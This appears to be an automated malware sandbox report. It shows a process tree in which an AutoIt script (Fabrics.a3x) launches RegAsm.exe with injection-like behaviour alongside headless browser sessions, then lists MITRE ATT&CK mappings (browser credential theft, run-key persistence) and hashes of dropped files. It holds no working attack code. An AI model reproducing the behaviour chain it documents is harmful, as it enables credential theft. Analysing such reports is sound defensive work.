    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4208,i,1173516357962512365,9648827473935748576,2097152 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4224 /prefetch:2
    3⤵
    PID:1928
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4512,i,13507782773480135663,5438938590731218789,2097152 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4532 /prefetch:1
    3⤵
    PID:3476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,15253794641744385908,5552155778920642166,524288 --field-trial-handle=1976,i,12517585377478775525,8670318189464677031,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5384 /prefetch:8
    3⤵
    PID:1624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffde648c188,0x7ffde648c194,0x7ffde648c1a0
    3⤵
    PID:812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1744,i,6981582306856288570,2875947741208180023,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1680,i,9071267896053398285,7083808716111454165,262144 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:2
    3⤵
    PID:4512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2292,i,18240919090949222881,10465480304408278847,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=3100 /prefetch:8
    3⤵
    PID:3000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3440,i,12432149251528227900,11920277654367962674,2097152 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,5120974792417777212,13908874947611157612,2097152 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4080,i,9802473561373716703,12721395171664083235,2097152 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
    3⤵
    PID:5124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4084,i,1980102622159605472,1006485092408554752,2097152 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:2
    3⤵
    PID:5132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3964,i,15200112406955711018,6159779425988186031,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=3960 /prefetch:8
    3⤵
    PID:5488
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,5201287728851192481,9287653835596107470,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:8
    3⤵
    PID:3532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,135906961799284509,7616733401496597210,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:8
    3⤵
    PID:2064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,6076237868384149563,7937619143971900853,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:8
    3⤵
    PID:5868
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5204,i,8984754807602299436,17082947750130650536,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:8
    3⤵
    PID:5884
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5204,i,8984754807602299436,17082947750130650536,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:8
    3⤵
    PID:5972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,2099894899090796635,6970152162388444425,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:8
    3⤵
    PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6568,i,14824826373970440796,12129547094948813480,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=6760 /prefetch:8
    3⤵
    PID:4308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5916,i,15729245491095588787,1750924560781676182,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:8
    3⤵
    PID:5556
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,12524031803168654271,16059473419939243207,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
    3⤵
    PID:6056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7012,i,13527494121468959148,5441782774858091025,524288 --field-trial-handle=2904,i,15818314628382906431,13162061335416330483,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:8
    3⤵
    PID:5144
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4520
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2800 -prefsLen 24447 -prefMapHandle 2804 -prefMapSize 268500 -ipcHandle 2868 -initialChannelId {8c8e9b54-9943-4a15-9c28-ae6e34837dc0} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:5996
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2096 -prefsLen 24658 -prefMapHandle 2108 -prefMapSize 268500 -jsInitHandle 2112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2084 -initialChannelId {81f65b1a-4110-4318-8b06-2bea85949f9d} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:2844
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2096 -prefsLen 25544 -prefMapHandle 2012 -prefMapSize 268500 -ipcHandle 3808 -initialChannelId {8f59bea5-5be2-484c-a8ce-16ac7090077e} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:5552
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1680 -prefsLen 25606 -prefMapHandle 4092 -prefMapSize 268500 -jsInitHandle 4100 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4108 -initialChannelId {4090cfca-e2aa-42b8-a72b-00366f4b12cb} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:2320
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2068 -prefsLen 36523 -prefMapHandle 4888 -prefMapSize 268500 -ipcHandle 4132 -initialChannelId {bfd8437a-4400-4098-8032-19447837b651} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:5176
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3932 -prefsLen 34446 -prefMapHandle 1616 -prefMapSize 268500 -jsInitHandle 4960 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5000 -initialChannelId {b4ebcea5-9205-4573-a591-7ea5f7fb044a} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:4848
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5056 -prefsLen 34446 -prefMapHandle 5060 -prefMapSize 268500 -jsInitHandle 5064 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5072 -initialChannelId {e674dbee-3373-4056-8b48-8fa32b3aee5f} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:1324
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5480 -prefsLen 34446 -prefMapHandle 5484 -prefMapSize 268500 -jsInitHandle 5488 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1616 -initialChannelId {e6a08b21-6e26-45d9-aadf-a1d3cc641f38} -parentPid 4520 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4520" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:64

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4136

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2788

C:\Users\Admin\AppData\Roaming\18a495b8ac54\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\18a495b8ac54\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\18a495b8ac54\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2924
- C:\Users\Admin\AppData\Roaming\18a495b8ac54\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\18a495b8ac54\RegAsm.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 400ebd3058b36751183d062e9dca9947bdb138ce5f8244160db5d90f6ca78a55
MD5 ed76fff52e0ff51cd9b0bd913b326265
SHA1 eae05fb6aa342a5c81405603923fe7a3b851e4cf
SHA512 834bd166dbfc6333287763499ed655948473b6778fc56a96132d94bf3e80ec582894adc0d869a2228024494180f7463529abc9e1f5b65e1a402838d6167606f8
TLSH
T1C2F028E9CD21EC3B18FD2B2924684B4AE750135B2680895F3B3D921D8FB063B898685C
MD5 SHA1 SHA512 TLSH

Submit Download

108a1d70-3438-456b-9b90-eba089065f55.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\108a1d70-3438-456b-9b90-eba089065f55.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 3d3c67960495e13f429e26fbafba50a1301986a5b8ce0951f1db69dd8bef40ee
MD5 50b87923aa47241eb5f048e4f4f7e71d
SHA1 1f486699acdba1ab1ff9b0b11c00ba39f9c9b48d
SHA512 5320940bc3c9c16385aa9af531a7bbd29826ce718b3ef2d59250ac531def2807226ff2fcd9e5b4494332019f1da7a3af36044aec1bb4351209c4edba85ac02f2
SSDEEP 3072:g+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gy:g+hFD+7t56OD9ZfSAppry
TLSH
T1E5D31232AA91D8BBC9BC6541B157A300DE666CED41EE7A09444A5F8EE09FC4C0773A33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7481989667805f861819a64a3969aaaf46d409d3cc4fe4b19154b579a00c6e16
MD5 a70a868c80f3eeab924f0b5bd11ac679
SHA1 22ca93079bed2cfcd0fa02ef66751ff5288ac608
SHA512 380ff0ee96c6b0037a0ca6f886ef323cc451588842ad026ea5bd4a5e33587abc8a13aec63444eb9137cad40409498bf6e0730b0a623f020bfebec6de03bf7d19
TLSH
T1C8D01103FB828A2CC8C008B2002C822C0A8AF8000A00A2828030228A8C28A00A02EC88
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 d11bd63a3c8c3641d5bd4407fbf20115daee67c3050695788e54c8df9585c700
MD5 7aa846396cdcfea376b8811e8e19c8ac
SHA1 ec25e76211c784e758c9892460a28903222a2b23
SHA512 4816b3d9d1883ae78008726282d2a4c42f9b30d81ff004d60af22873868f3ccc332adb8973ee5a1ed3fdec5d56a832c2ead1cfe30616125d07466daec4eaf02f
TLSH
T17DD02203FF038A2CC8C00CB2002EC22C0F8AF8000A00B2C08030328BCC28B00B02EC88
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\manifest.json
Size 962B
SHA256 5694c91f7d165c6f25daf0825c18b373b0a81ea122c89da60438cd487455fd6a
MD5 e805e9e69fd6ecdca65136957b1fb3be
SHA1 2356f60884130c86a45d4b232a26062c7830e622
SHA512 049662ef470d2b9e030a06006894041ae6f787449e4ab1fbf4959adcb88c6bb87a957490212697815bb3627763c01b7b243cf4e3c4620173a95795884d998a75
TLSH
T1661121366E2FC4260AE00698DC51308AF92453ADD380850E35BCE42E5B744FA430631E
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\aef8a0dc-aa27-49c1-bfd5-3381dbddb5ce\index-dir\the-real-index
Size 1008B
SHA256 005b5ea0ca14af33990c6cd8e1218da58cce211d1afed6d4cab8831b8245dfe9
MD5 7c2d49c2385d2688ce77fd18c1569c65
SHA1 eb01454d19c7bf209e3ae24916179b72e93c87db
SHA512 d2d64a153b0ecb7fd6610908627594f2c4269e4a365f28f96f0386392033fca88d37f2f6d53a501294da2dfea3f337427de07ba78c16c8c8414e505507dca328
TLSH
T1D61110966C025B8BFE980278207C688AB37113CC1354BA1F91BEF126CCD6B54BD919B4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59066f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\aef8a0dc-aa27-49c1-bfd5-3381dbddb5ce\index-dir\the-real-index~RFe59066f.TMP
Size 1008B
SHA256 894631f5136c2bc21a0042f279bc3eeb75edab7f59c81b144192564e54339365
MD5 10cc752e4f7b0024342c8fc8873edf25
SHA1 eb12eed6eecaace8aecb9d025c720ac8d988d8a1
SHA512 5a77a12e32605335af666f980e3062f94c2ee97eb3c3e85d8a6d543ae2542a57a9d87f920143ff59294df87e8c282d126ad0c06473c184df56caa8641c14be25
TLSH
T114114EA601635B46FC88037596AC68463361A04803886B4FA3E7E16ACC82B84ACC3EF0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 83b816dddad67a1706db1527cb8de001de5dd9de19e13c5974742c0eba101bf4
MD5 771b6e4d19d0a026afaa86c78e5371cf
SHA1 d7ec2fa6b6b3a9560d1ad3fc34c6d2f96ec791e6
SHA512 a54430fdd1dd6f8f464d2f03b2d0e3370e9cd55be0c50c13f24337d56e4f637996aa0cbdde836a146b364780724449e51b9e54c32d3df5665e3086aebac375c4
SSDEEP 192:EONp6nnHGQmiUyJfQYcX5hQDP1bOt1ATcMc5FU6:EONp6nCKQNX5+DtbOt1A0TU6
TLSH
T15902FC34BD787C778EF3AD46B44637175F95217BE5942BC4D6E81E1C01DB69C230A822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 f7fc0abf19e916eeec155d296722632b157b7adc8a636f88558406674de6a495
MD5 539547ccafc792389e25367670b68a10
SHA1 381682340af782a152d32875d5f36a22c11c7738
SHA512 2e5f0447c867f57475d8e73ca8f37424fb0eb4e666f1754193b332329277b938ac7f2e2f651edc08f21973dd5ecc5a6b262e825228028dad4c38b10c64d3439a
